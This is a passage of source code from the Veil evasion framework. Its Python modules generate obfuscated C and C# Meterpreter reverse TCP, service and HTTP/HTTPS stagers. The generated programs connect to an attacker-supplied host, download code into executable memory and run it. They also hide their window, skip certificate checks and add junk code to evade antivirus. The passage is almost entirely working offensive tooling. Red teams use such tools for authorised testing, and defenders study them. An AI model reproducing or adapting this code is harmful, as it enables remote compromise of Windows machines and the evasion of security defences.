target_name = evasion_helpers.randomString() sock_name = evasion_helpers.randomString() my_socket_name = evasion_helpers.randomString() code += "SOCKET %s() { struct hostent * %s; struct sockaddr_in %s; SOCKET %s;" % (wsconnect_name, target_name, sock_name, my_socket_name) code += "%s = socket(AF_INET, SOCK_STREAM, 0);" %(my_socket_name) code += "if (%s == INVALID_SOCKET) %s(%s);" %(my_socket_name, punt_name, my_socket_name); code += "%s = gethostbyname(\"%s\");" %(target_name, self.required_options["LHOST"][0]) code += "if (%s == NULL) %s(%s);" %(target_name, punt_name, my_socket_name) code += "memcpy(&%s.sin_addr.s_addr, %s->h_addr, %s->h_length);" %(sock_name, target_name, target_name) code += "%s.sin_family = AF_INET;" %(sock_name) code += "%s.sin_port = htons(%s);" %(sock_name, evasion_helpers.obfuscateNum(int(self.required_options["LPORT"][0]),32)) code += "if ( connect(%s, (struct sockaddr *)&%s, sizeof(%s)) ) %s(%s);" %(my_socket_name, sock_name, sock_name, punt_name, my_socket_name) code += "return %s;}\n" %(my_socket_name) # build main() code size_name = evasion_helpers.randomString() buffer_name = evasion_helpers.randomString() function_name = evasion_helpers.randomString() my_socket_name = evasion_helpers.randomString() count_name = evasion_helpers.randomString() # obfuscation stuff char_array_name_1 = evasion_helpers.randomString() number_of_strings_1 = random.randint(1,max_num_strings) char_array_name_2 = evasion_helpers.randomString() number_of_strings_2 = random.randint(1,max_num_strings) char_array_name_3 = evasion_helpers.randomString() number_of_strings_3 = random.randint(1,max_num_strings) code += "int main(int argc, char * argv[]) {" code += "ShowWindow( GetConsoleWindow(), SW_HIDE );" code += "ULONG32 %s;" %(size_name) code += "char * %s;" %(buffer_name) code += "int i;" code += "char* %s[%s];" % (char_array_name_1, number_of_strings_1) code += "void (*%s)();" %(function_name) # malloc our first string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_1, char_array_name_1, random.randint(max_string_length,global_max_string_length)) code += "%s();" %(winsock_init_name) code += "char* %s[%s];" % (char_array_name_2, number_of_strings_2) code += "SOCKET %s = %s();" %(my_socket_name,wsconnect_name) # malloc our second string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_2, char_array_name_2, random.randint(max_string_length,global_max_string_length)) code += "int %s = recv(%s, (char *)&%s, %s, 0);" % (count_name, my_socket_name, size_name, evasion_helpers.obfuscateNum(4,2)) code += "if (%s != %s || %s <= 0) %s(%s);" %(count_name, evasion_helpers.obfuscateNum(4,2), size_name, punt_name, my_socket_name) code += "%s = VirtualAlloc(0, %s + %s, MEM_COMMIT, PAGE_EXECUTE_READWRITE);" %(buffer_name, size_name, evasion_helpers.obfuscateNum(5,2)) code += "char* %s[%s];" % (char_array_name_3, number_of_strings_3) # first string obfuscation method code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_1, char_array_name_1, stringGenFunctions[0][0]) # real code code += "if (%s == NULL) %s(%s);" %(buffer_name, punt_name, my_socket_name) code += "%s[0] = 0xBF;" %(buffer_name) code += "memcpy(%s + 1, &%s, %s);" %(buffer_name, my_socket_name, evasion_helpers.obfuscateNum(4,2)) # malloc our third string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_3, char_array_name_3, random.randint(max_string_length,global_max_string_length)) # second string obfuscation method code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_2, char_array_name_2, stringGenFunctions[1][0]) # real code code += "%s = %s(%s, %s + %s, %s);" %(count_name, recv_all_name, my_socket_name, buffer_name, evasion_helpers.obfuscateNum(5,2), size_name) code += "%s = (void (*)())%s;" %(function_name, buffer_name) code += "%s();" %(function_name) # third string obfuscation method (never called) code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_3, char_array_name_3, stringGenFunctions[2][0]) code += "return 0;}\n" self.payload_source_code = code return Veil-3.1.14/tools/evasion/payloads/c/meterpreter/rev_tcp_service.py000066400000000000000000000356011365017756100254530ustar00rootroot00000000000000""" Obfuscated, pure C windows/meterpreter/reverse_tcp service Compatible with psexec Implements various randomized string processing functions in an attempt to obfuscate the call tree. Inspiration from: https://github.com/rsmudge/metasploit-loader Module built by @harmj0y """ import random from tools.evasion.evasion_common import evasion_helpers class PayloadModule: def __init__(self, cli_obj): # required options self.description = "pure windows/meterpreter/reverse_tcp windows service stager compatible with psexec, no shellcode" self.language = "c" self.extension = "c" self.rating = "Excellent" self.name = "C Reverse TCP Service" self.path = "c/meterpreter/rev_tcp_service" self.cli_opts = cli_obj self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: self.payload_type = "" self.cli_shellcode = False # optional # options we require user ineraction for- format is {Option : [Value, Description]]} self.required_options = { "LHOST" : ["", "IP of the Metasploit handler"], "LPORT" : ["4444", "Port of the Metasploit handler"], "COMPILE_TO_EXE" : ["Y", "Compile to an executable"] } def generate(self): winsock_init_name = evasion_helpers.randomString() punt_name = evasion_helpers.randomString() recv_all_name = evasion_helpers.randomString() wsconnect_name = evasion_helpers.randomString() # the real includes needed includes = [ "#include " , "#include ", "#include ", "#include "] # max length string for obfuscation global_max_string_length = 10000 max_string_length = random.randint(100,global_max_string_length) max_num_strings = 10000 # TODO: add in more string processing functions randName1 = evasion_helpers.randomString() # reverse() randName2 = evasion_helpers.randomString() # doubles characters stringModFunctions = [ (randName1, "char* %s(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); for(i=0;i", "#include ", "#include ", "#include ", "#include ", "#include ", "#include "] for x in range(1, random.randint(1,7)): includes.append(fake_includes[x]) # obsufcation - shuffle up our real and fake includes random.shuffle(includes) code = "#define _WIN32_WINNT 0x0500\n" code += "#include \n" code += "\n".join(includes) + "\n" # real - service related headers (check the stub) hStatusName = evasion_helpers.randomString() serviceHeaders = ["SERVICE_STATUS ServiceStatus;","SERVICE_STATUS_HANDLE %s;" %(hStatusName), "void ServiceMain(int argc, char** argv);", "void ControlHandler(DWORD request);"] random.shuffle(serviceHeaders) code += "\n".join(serviceHeaders) # obsufcation - string mod functions code += stringModFunctions[0][1] + "\n" code += stringModFunctions[1][1] + "\n" # real - build the winsock_init function wVersionRequested_name = evasion_helpers.randomString() wsaData_name = evasion_helpers.randomString() code += "void %s() {" % (winsock_init_name) code += "WORD %s = MAKEWORD(%s, %s); WSADATA %s;" % (wVersionRequested_name, evasion_helpers.obfuscateNum(2,4),evasion_helpers.obfuscateNum(2,4), wsaData_name) code += "if (WSAStartup(%s, &%s) < 0) { WSACleanup(); exit(1);}}\n" %(wVersionRequested_name,wsaData_name) # first logical nop string function code += stringGenFunctions[0][1] + "\n" # real - build punt function my_socket_name = evasion_helpers.randomString() code += "void %s(SOCKET %s) {" %(punt_name, my_socket_name) code += "closesocket(%s);" %(my_socket_name) code += "WSACleanup();" code += "exit(1);}\n" # obsufcation - second logical nop string function code += stringGenFunctions[1][1] + "\n" # real - build recv_all function my_socket_name = evasion_helpers.randomString() buffer_name = evasion_helpers.randomString() len_name = evasion_helpers.randomString() code += "int %s(SOCKET %s, void * %s, int %s){" %(recv_all_name, my_socket_name, buffer_name, len_name) code += "int slfkmklsDSA=0;int rcAmwSVM=0;" code += "void * startb = %s;" %(buffer_name) code += "while (rcAmwSVM < %s) {" %(len_name) code += "slfkmklsDSA = recv(%s, (char *)startb, %s - rcAmwSVM, 0);" %(my_socket_name, len_name) code += "startb += slfkmklsDSA; rcAmwSVM += slfkmklsDSA;" code += "if (slfkmklsDSA == SOCKET_ERROR) %s(%s);} return rcAmwSVM; }\n" %(punt_name, my_socket_name) # obsufcation - third logical nop string function code += stringGenFunctions[2][1] + "\n" # real - build wsconnect function target_name = evasion_helpers.randomString() sock_name = evasion_helpers.randomString() my_socket_name = evasion_helpers.randomString() code += "SOCKET %s() { struct hostent * %s; struct sockaddr_in %s; SOCKET %s;" % (wsconnect_name, target_name, sock_name, my_socket_name) code += "%s = socket(AF_INET, SOCK_STREAM, 0);" %(my_socket_name) code += "if (%s == INVALID_SOCKET) %s(%s);" %(my_socket_name, punt_name, my_socket_name); code += "%s = gethostbyname(\"%s\");" %(target_name, self.required_options["LHOST"][0]) code += "if (%s == NULL) %s(%s);" %(target_name, punt_name, my_socket_name) code += "memcpy(&%s.sin_addr.s_addr, %s->h_addr, %s->h_length);" %(sock_name, target_name, target_name) code += "%s.sin_family = AF_INET;" %(sock_name) code += "%s.sin_port = htons(%s);" %(sock_name, evasion_helpers.obfuscateNum(int(self.required_options["LPORT"][0]),32)) code += "if ( connect(%s, (struct sockaddr *)&%s, sizeof(%s)) ) %s(%s);" %(my_socket_name, sock_name, sock_name, punt_name, my_socket_name) code += "return %s;}\n" %(my_socket_name) # real - main() method for the service code serviceName = evasion_helpers.randomString() code += "void main() { SERVICE_TABLE_ENTRY ServiceTable[2];" serviceTableEntries = [ "ServiceTable[0].lpServiceName = \"%s\";" %(serviceName), "ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;", "ServiceTable[1].lpServiceName = NULL;", "ServiceTable[1].lpServiceProc = NULL;"] random.shuffle(serviceTableEntries) code += "\n".join(serviceTableEntries) code += "StartServiceCtrlDispatcher(ServiceTable);}\n" # real - service status options for us to shuffle serviceStatusOptions = ["ServiceStatus.dwWin32ExitCode = 0;", "ServiceStatus.dwCurrentState = SERVICE_START_PENDING;", "ServiceStatus.dwWaitHint = 0;", "ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;", "ServiceStatus.dwServiceSpecificExitCode = 0;", "ServiceStatus.dwCheckPoint = 0;", "ServiceStatus.dwServiceType = SERVICE_WIN32;"] random.shuffle(serviceStatusOptions) # real - serviceMain() code code += "void ServiceMain(int argc, char** argv) {\n" code += "\n".join(serviceStatusOptions) code += "%s = RegisterServiceCtrlHandler( \"%s\", (LPHANDLER_FUNCTION)ControlHandler);" %(hStatusName, serviceName) code += "if (%s == (SERVICE_STATUS_HANDLE)0) return;" %(hStatusName) code += "ServiceStatus.dwCurrentState = SERVICE_RUNNING;" code += "SetServiceStatus (%s, &ServiceStatus);" %(hStatusName) code += "while (ServiceStatus.dwCurrentState == SERVICE_RUNNING) {\n" # obsufcation - random variable names size_name = evasion_helpers.randomString() buffer_name = evasion_helpers.randomString() function_name = evasion_helpers.randomString() my_socket_name = evasion_helpers.randomString() count_name = evasion_helpers.randomString() # obsufcation - necessary declarations char_array_name_1 = evasion_helpers.randomString() number_of_strings_1 = random.randint(1,max_num_strings) char_array_name_2 = evasion_helpers.randomString() number_of_strings_2 = random.randint(1,max_num_strings) char_array_name_3 = evasion_helpers.randomString() number_of_strings_3 = random.randint(1,max_num_strings) # real - necessary declarations code += "ULONG32 %s;" %(size_name) code += "char * %s;" %(buffer_name) code += "int i;" code += "char* %s[%s];" % (char_array_name_1, number_of_strings_1) code += "void (*%s)();" %(function_name) # obsufcation - malloc our first string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_1, char_array_name_1, random.randint(max_string_length,global_max_string_length)) code += "%s();" %(winsock_init_name) code += "char* %s[%s];" % (char_array_name_2, number_of_strings_2) code += "SOCKET %s = %s();" %(my_socket_name,wsconnect_name) # obsufcation - malloc our second string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_2, char_array_name_2, random.randint(max_string_length,global_max_string_length)) # real - receive the 4 byte size from the handler code += "int %s = recv(%s, (char *)&%s, %s, 0);" % (count_name, my_socket_name, size_name, evasion_helpers.obfuscateNum(4,2)) # real - punt the socket if something goes wrong code += "if (%s != %s || %s <= 0) %s(%s);" %(count_name, evasion_helpers.obfuscateNum(4,2), size_name, punt_name, my_socket_name) # real - virtual alloc space for the meterpreter .dll code += "%s = VirtualAlloc(0, %s + %s, MEM_COMMIT, PAGE_EXECUTE_READWRITE);" %(buffer_name, size_name, evasion_helpers.obfuscateNum(5,2)) # obsufcation - declare space for our 3 string obfuscation array code += "char* %s[%s];" % (char_array_name_3, number_of_strings_3) # obsufcation - first string obfuscation method code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_1, char_array_name_1, stringGenFunctions[0][0]) # real - check if the buffer received is null, if so punt the socket code += "if (%s == NULL) %s(%s);" %(buffer_name, punt_name, my_socket_name) # real - prepend some buffer magic to push the socket number onto the stack code += "%s[0] = 0xBF;" %(buffer_name) # real- copy the 4 magic bytes into the buffer code += "memcpy(%s + 1, &%s, %s);" %(buffer_name, my_socket_name, evasion_helpers.obfuscateNum(4,2)) # obsufcation - malloc our third string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_3, char_array_name_3, random.randint(max_string_length,global_max_string_length)) # obsufcation - second string obfuscation method code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_2, char_array_name_2, stringGenFunctions[1][0]) # real - receive all data from the socket code += "%s = %s(%s, %s + %s, %s);" %(count_name, recv_all_name, my_socket_name, buffer_name, evasion_helpers.obfuscateNum(5,2), size_name) code += "%s = (void (*)())%s;" %(function_name, buffer_name) code += "%s();" %(function_name) # obsufcation - third string obfuscation method (never called) code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_3, char_array_name_3, stringGenFunctions[2][0]) code += "} return; }\n" # service control handler code code += """void ControlHandler(DWORD request) { switch(request) { case SERVICE_CONTROL_STOP: ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus (%s, &ServiceStatus); return; case SERVICE_CONTROL_SHUTDOWN: ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus (%s, &ServiceStatus); return; default: break; } SetServiceStatus (%s, &ServiceStatus); return; } """ %(hStatusName, hStatusName, hStatusName) self.payload_source_code = code return Veil-3.1.14/tools/evasion/payloads/cs/000077500000000000000000000000001365017756100175375ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/payloads/cs/.gitignore000066400000000000000000000000061365017756100215230ustar00rootroot00000000000000*.pyc Veil-3.1.14/tools/evasion/payloads/cs/__init__.py000066400000000000000000000000001365017756100216360ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/payloads/cs/meterpreter/000077500000000000000000000000001365017756100220755ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/payloads/cs/meterpreter/__init__.py000066400000000000000000000000001365017756100241740ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/payloads/cs/meterpreter/rev_http.py000066400000000000000000000243171365017756100243110ustar00rootroot00000000000000""" Custom-written pure c# meterpreter/reverse_http stager Uses basic variable renaming obfuscation Module built by @harmj0y Updated for Veil 3 by @evan_pena2003 """ from lib.common import helpers from tools.evasion.evasion_common import encryption from tools.evasion.evasion_common import gamemaker import random class PayloadModule: def __init__(self, cli_obj): # required options self.description = "pure windows/meterpreter/reverse_http stager, no shellcode" self.language = "cs" self.extension = "cs" self.rating = "Excellent" self.name = "Pure C# Reverse HTTP Stager" self.path = "cs/meterpreter/rev_http" self.cli_opts = cli_obj self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: self.payload_type = "" self.cli_shellcode = False # options we require user interaction for- format is {Option : [Value, Description]]} self.required_options = { "LHOST" : ["", "IP of the Metasploit handler"], "LPORT" : ["8080", "Port of the Metasploit handler"], "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], "USE_ARYA" : ["N", "Use the Arya crypter"], "INJECT_METHOD" : ["Virtual", "Virtual or Heap"], "EXPIRE_PAYLOAD" : ["X", "Optional: Payloads expire after \"Y\" days"], "HOSTNAME" : ["X", "Optional: Required system hostname"], "DOMAIN" : ["X", "Optional: Required internal domain"], "PROCESSORS" : ["X", "Optional: Minimum number of processors"], "USERNAME" : ["X", "Optional: The required user account"], "TIMEZONE" : ["X", "Optional: Check to validate not in UTC"], "DEBUGGER" : ["X", "Optional: Check if debugger is attached"], "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] } def generate(self): # imports and namespace setup payload_code = "using System; using System.Net; using System.Net.Sockets; using System.Linq; using System.Runtime.InteropServices; using System.Threading;\n" payload_code += "namespace %s { class %s {\n" % (helpers.randomString(), helpers.randomString()) # code for the randomString() function randomStringName = helpers.randomString() bufferName = helpers.randomString() charsName = helpers.randomString() t = list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789") random.shuffle(t) chars = ''.join(t) payload_code += "static string %s(Random r, int s) {\n" %(randomStringName) payload_code += "char[] %s = new char[s];\n"%(bufferName) payload_code += "string %s = \"%s\";\n" %(charsName, chars) payload_code += "for (int i = 0; i < s; i++){ %s[i] = %s[r.Next(%s.Length)];}\n" %(bufferName, charsName, charsName) payload_code += "return new string(%s);}\n" %(bufferName) # code for the checksum8() function checksum8Name = helpers.randomString() payload_code += "static bool %s(string s) {return ((s.ToCharArray().Select(x => (int)x).Sum()) %% 0x100 == 92);}\n" %(checksum8Name) # code fo the genHTTPChecksum() function genHTTPChecksumName = helpers.randomString() baseStringName = helpers.randomString() randCharsName = helpers.randomString() urlName = helpers.randomString() random.shuffle(t) randChars = ''.join(t) payload_code += "static string %s(Random r) { string %s = \"\";\n" %(genHTTPChecksumName,baseStringName) payload_code += "for (int i = 0; i < 64; ++i) { %s = %s(r, 3);\n" %(baseStringName,randomStringName) payload_code += "string %s = new string(\"%s\".ToCharArray().OrderBy(s => (r.Next(2) %% 2) == 0).ToArray());\n" %(randCharsName,randChars) payload_code += "for (int j = 0; j < %s.Length; ++j) {\n" %(randCharsName) payload_code += "string %s = %s + %s[j];\n" %(urlName,baseStringName,randCharsName) payload_code += "if (%s(%s)) {return %s;}}} return \"9vXU\";}"%(checksum8Name,urlName, urlName) # code for getData() function getDataName = helpers.randomString() strName = helpers.randomString() webClientName = helpers.randomString() sName = helpers.randomString() payload_code += "static byte[] %s(string %s) {\n" %(getDataName,strName) payload_code += "WebClient %s = new System.Net.WebClient();\n" %(webClientName) payload_code += "%s.Headers.Add(\"User-Agent\", \"Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)\");\n" %(webClientName) payload_code += "%s.Headers.Add(\"Accept\", \"*/*\");\n" %(webClientName) payload_code += "%s.Headers.Add(\"Accept-Language\", \"en-gb,en;q=0.5\");\n" %(webClientName) payload_code += "%s.Headers.Add(\"Accept-Charset\", \"ISO-8859-1,utf-8;q=0.7,*;q=0.7\");\n" %(webClientName) payload_code += "byte[] %s = null;\n" %(sName) payload_code += "try { %s = %s.DownloadData(%s);\n" %(sName, webClientName, strName) payload_code += "if (%s.Length < 100000) return null;}\n" %(sName) payload_code += "catch (WebException) {}\n" payload_code += "return %s;}\n" %(sName) # code fo the inject() function to inject shellcode injectName = helpers.randomString() sName = helpers.randomString() funcAddrName = helpers.randomString() hThreadName = helpers.randomString() threadIdName = helpers.randomString() pinfoName = helpers.randomString() if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += "static void %s(byte[] %s) {\n" %(injectName, sName) payload_code += " if (%s != null) {\n" %(sName) payload_code += " UInt32 %s = VirtualAlloc(0, (UInt32)%s.Length, 0x1000, 0x40);\n" %(funcAddrName, sName) payload_code += " Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" %(sName,funcAddrName, sName) payload_code += " IntPtr %s = IntPtr.Zero;\n" %(hThreadName) payload_code += " UInt32 %s = 0;\n" %(threadIdName) payload_code += " IntPtr %s = IntPtr.Zero;\n" %(pinfoName) payload_code += " %s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" %(hThreadName, funcAddrName, pinfoName, threadIdName) payload_code += " WaitForSingleObject(%s, 0xFFFFFFFF); }}\n" %(hThreadName) elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += "static void %s(byte[] %s) {\n" %(injectName, sName) payload_code += " if (%s != null) {\n" %(sName) payload_code += ' UInt32 {} = HeapCreate(0x00040000, (UInt32){}.Length, 0);\n'.format(pinfoName, sName) payload_code += ' UInt32 {} = HeapAlloc({}, 0x00000008, (UInt32){}.Length);\n'.format(funcAddrName, pinfoName, sName) payload_code += ' RtlMoveMemory({}, {}, (UInt32){}.Length);\n'.format(funcAddrName, sName, sName) payload_code += ' UInt32 {} = 0;\n'.format(threadIdName) payload_code += ' IntPtr {} = CreateThread(0, 0, {}, IntPtr.Zero, 0, ref {});\n'.format(hThreadName, funcAddrName, threadIdName) payload_code += ' WaitForSingleObject({}, 0xFFFFFFFF);}}}}\n'.format(hThreadName) # code for Main() to launch everything sName = helpers.randomString() randomName = helpers.randomString() curlyCount = 0 payload_code += "static void Main(){\n" payload_code2, curlyCount = gamemaker.senecas_games(self) payload_code = payload_code + payload_code2 payload_code += "Random %s = new Random((int)DateTime.Now.Ticks);\n" %(randomName) payload_code += "byte[] %s = %s(\"http://%s:%s/\" + %s(%s));\n" %(sName, getDataName, self.required_options["LHOST"][0],self.required_options["LPORT"][0],genHTTPChecksumName,randomName) payload_code += "%s(%s);}\n" %(injectName, sName) while (curlyCount != 0): payload_code += '\t' * curlyCount + '}' curlyCount -= 1 # get random variables for the API imports r = [helpers.randomString() for x in range(12)] y = [helpers.randomString() for x in range(17)] if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);}}\n"""%(r[0],r[1],r[2],r[3],r[4],r[5],r[6],r[7],r[8],r[9],r[10],r[11]) elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 %s, UInt32 %s, UInt32 %s); \n[DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 %s, byte[] %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);}}\n"""%(y[0],y[1],y[2],y[3],y[4],y[5],y[6],y[7],y[8],y[9],y[10],y[11],y[12],y[13],y[14],y[15],y[16]) if self.required_options["USE_ARYA"][0].lower() == "y": payload_code = encryption.arya(payload_code) self.payload_source_code = payload_code return Veil-3.1.14/tools/evasion/payloads/cs/meterpreter/rev_https.py000066400000000000000000000271251365017756100244740ustar00rootroot00000000000000""" Custom-written pure c# meterpreter/reverse_https stager Uses basic variable renaming obfuscation Module built by @harmj0y Updated by @ChrisTruncer and @evan_pena2003 """ from tools.evasion.evasion_common import evasion_helpers from tools.evasion.evasion_common import encryption from tools.evasion.evasion_common import gamemaker import random class PayloadModule: def __init__(self, cli_obj): # required options self.description = "pure windows/meterpreter/reverse_https stager, no shellcode" self.language = "cs" self.extension = "cs" self.rating = "Excellent" self.name = "Pure C# Reverse HTTPS Stager" self.path = "cs/meterpreter/rev_https" self.cli_opts = cli_obj self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: self.payload_type = "" self.cli_shellcode = False # options we require user interaction for- format is {Option : [Value, Description]]} self.required_options = { "LHOST" : ["", "IP of the Metasploit handler"], "LPORT" : ["8081", "Port of the Metasploit handler"], "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], "USE_ARYA" : ["N", "Use the Arya crypter"], "INJECT_METHOD" : ["Virtual", "Virtual or Heap"], "EXPIRE_PAYLOAD" : ["X", "Optional: Payloads expire after \"Y\" days"], "HOSTNAME" : ["X", "Optional: Required system hostname"], "DOMAIN" : ["X", "Optional: Required internal domain"], "PROCESSORS" : ["X", "Optional: Minimum number of processors"], "USERNAME" : ["X", "Optional: The required user account"], "TIMEZONE" : ["X", "Optional: Check to validate not in UTC"], "DEBUGGER" : ["X", "Optional: Check if debugger is attached"], "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"], "PROXY" : ["N", "Use system proxy settings"], } def generate(self): # imports and namespace setup payload_code = "using System; using System.Net; using System.Net.Sockets; using System.Linq; using System.Runtime.InteropServices; using System.Threading;\n" payload_code += "namespace %s { class %s {\n" % (evasion_helpers.randomString(), evasion_helpers.randomString()) # code for the randomString() function randomStringName = evasion_helpers.randomString() bufferName = evasion_helpers.randomString() charsName = evasion_helpers.randomString() t = list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789") random.shuffle(t) chars = ''.join(t) # logic to turn off certificate validation validateServerCertficateName = evasion_helpers.randomString() payload_code += "private static bool %s(object sender, System.Security.Cryptography.X509Certificates.X509Certificate cert,System.Security.Cryptography.X509Certificates.X509Chain chain,System.Net.Security.SslPolicyErrors sslPolicyErrors) { return true; }\n" %(validateServerCertficateName) # code for the randomString() method payload_code += "static string %s(Random r, int s) {\n" %(randomStringName) payload_code += "char[] %s = new char[s];\n"%(bufferName) payload_code += "string %s = \"%s\";\n" %(charsName, chars) payload_code += "for (int i = 0; i < s; i++){ %s[i] = %s[r.Next(%s.Length)];}\n" %(bufferName, charsName, charsName) payload_code += "return new string(%s);}\n" %(bufferName) # code for the checksum8() function checksum8Name = evasion_helpers.randomString() payload_code += "static bool %s(string s) {return ((s.ToCharArray().Select(x => (int)x).Sum()) %% 0x100 == 92);}\n" %(checksum8Name) # code fo the genHTTPChecksum() function genHTTPChecksumName = evasion_helpers.randomString() baseStringName = evasion_helpers.randomString() randCharsName = evasion_helpers.randomString() urlName = evasion_helpers.randomString() random.shuffle(t) randChars = ''.join(t) randomReturn = evasion_helpers.randomString(4) payload_code += "static string %s(Random r) { string %s = \"\";\n" %(genHTTPChecksumName,baseStringName) payload_code += "for (int i = 0; i < 64; ++i) { %s = %s(r, 3);\n" %(baseStringName,randomStringName) payload_code += "string %s = new string(\"%s\".ToCharArray().OrderBy(s => (r.Next(2) %% 2) == 0).ToArray());\n" %(randCharsName,randChars) payload_code += "for (int j = 0; j < %s.Length; ++j) {\n" %(randCharsName) payload_code += "string %s = %s + %s[j];\n" %(urlName,baseStringName,randCharsName) payload_code += "if (%s(%s)) {return %s;}}} return \"%s\";}"%(checksum8Name,urlName, urlName, randomReturn) # code for getData() function getDataName = evasion_helpers.randomString() strName = evasion_helpers.randomString() webClientName = evasion_helpers.randomString() sName = evasion_helpers.randomString() payload_code += "static byte[] %s(string %s) {\n" %(getDataName,strName) payload_code += "ServicePointManager.ServerCertificateValidationCallback = %s;\n" %(validateServerCertficateName) payload_code += "WebClient %s = new System.Net.WebClient();\n" %(webClientName) # Proxy if self.required_options["PROXY"][0].lower() == "y": defaultWebProxyName = evasion_helpers.randomString() payload_code += "IWebProxy %s = WebRequest.DefaultWebProxy;\n" %(defaultWebProxyName) payload_code += "%s.Credentials = CredentialCache.DefaultCredentials;\n" %(defaultWebProxyName) payload_code += "%s.Proxy = %s;\n" %(webClientName, defaultWebProxyName) payload_code += "%s.Headers.Add(\"User-Agent\", \"Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)\");\n" %(webClientName) payload_code += "%s.Headers.Add(\"Accept\", \"*/*\");\n" %(webClientName) payload_code += "%s.Headers.Add(\"Accept-Language\", \"en-gb,en;q=0.5\");\n" %(webClientName) payload_code += "%s.Headers.Add(\"Accept-Charset\", \"ISO-8859-1,utf-8;q=0.7,*;q=0.7\");\n" %(webClientName) payload_code += "byte[] %s = null;\n" %(sName) payload_code += "try { %s = %s.DownloadData(%s);\n" %(sName, webClientName, strName) payload_code += "if (%s.Length < 100000) return null;}\n" %(sName) payload_code += "catch (WebException) {}\n" payload_code += "return %s;}\n" %(sName) # code fo the inject() function to inject shellcode injectName = evasion_helpers.randomString() sName = evasion_helpers.randomString() funcAddrName = evasion_helpers.randomString() hThreadName = evasion_helpers.randomString() threadIdName = evasion_helpers.randomString() pinfoName = evasion_helpers.randomString() if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += "static void %s(byte[] %s) {\n" %(injectName, sName) payload_code += " if (%s != null) {\n" %(sName) payload_code += " UInt32 %s = VirtualAlloc(0, (UInt32)%s.Length, 0x1000, 0x40);\n" %(funcAddrName, sName) payload_code += " Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" %(sName,funcAddrName, sName) payload_code += " IntPtr %s = IntPtr.Zero;\n" %(hThreadName) payload_code += " UInt32 %s = 0;\n" %(threadIdName) payload_code += " IntPtr %s = IntPtr.Zero;\n" %(pinfoName) payload_code += " %s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" %(hThreadName, funcAddrName, pinfoName, threadIdName) payload_code += " WaitForSingleObject(%s, 0xFFFFFFFF); }}\n" %(hThreadName) elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += "static void %s(byte[] %s) {\n" %(injectName, sName) payload_code += " if (%s != null) {\n" %(sName) payload_code += ' UInt32 {} = HeapCreate(0x00040000, 